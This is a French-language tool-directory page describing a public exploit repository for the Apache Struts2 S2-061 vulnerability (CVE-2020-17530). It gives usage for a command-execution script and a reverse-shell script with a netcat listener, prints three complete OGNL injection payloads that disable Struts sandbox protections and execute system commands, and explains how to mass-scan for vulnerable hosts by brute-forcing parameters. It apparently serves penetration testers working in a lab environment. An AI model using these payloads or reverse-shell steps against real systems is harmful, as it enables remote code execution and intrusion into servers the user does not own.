Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-17530 — Payload de S2-061, ainsi que le PoC/Exp simple correspondant | Kitploit
Outils/GitHubGitHub/wuzuowei/cve-2020-17530
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubwuzuowei/cve-2020-17530

CVE-2020-17530

Payload de S2-061, ainsi que le PoC/Exp simple correspondant

Voir le dépôt
46224il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

S2-061

Les scripts sont tous basés sur l'environnement de test des vulnérabilités struts2-059/061 de vulhub, ils ne sont pas universels, les experts voudront bien m'éclairer de leurs lumières.

  • struts2-061-poc.py (peut exécuter des commandes système simples)

    Utilisation : python struts2-061-poc.py http://ip:port command

    Exemple : python struts2-061-poc.py http://192.168.0.7:8080 whoami

  • S2-061-shell.py (peut ouvrir un shell inverse)

    Utilisation :

    1. Commencez par écouter un port spécifique sur une machine A (par exemple : nc -lvvp 7777)

    2. Exécutez le script : python2 S2-061-shell.py target_url, où target_url est l'adresse de l'environnement vulnérable, sous la forme http://ip:port

    3. Suivez les invites du script pour saisir l'IP de la machine A et le port en écoute, et vous obtiendrez un shell dans la fenêtre d'écoute de la machine A.



Voici quelques payloads créés par des experts :

payload-1:(from ka1n4t)

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

payload-2:(from Smi1e)

Article d'analyse complet : https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458

Utilisation de application, soit le POC complet de cette approche

%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}

Utilisation de request, un POC complet valable pour une seule requête (recommandé)

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}

Remarque : veuillez encoder les codes OGNL ci-dessus au format URL avant de les utiliser dans l'outil.

Méthode de détection :

Dans les nouvelles versions de Struts2, il n'est plus possible d'analyser les expressions OGNL par la construction de paramètres. Par conséquent, si vous envisagez d'utiliser un script pour scanner en masse la présence de cette vulnérabilité, vous pouvez directement brute-forcer tous les paramètres, puis vérifier si la page contient le texte de résultat attendu.

p. ex. : %{ 'gcowsec-' + (2000 + 20).toString()}

Le résultat attendu est :

gcowsec-2020

Il suffit d'utiliser un script pour vérifier si le résultat contient cette valeur.

Télécharger l’outil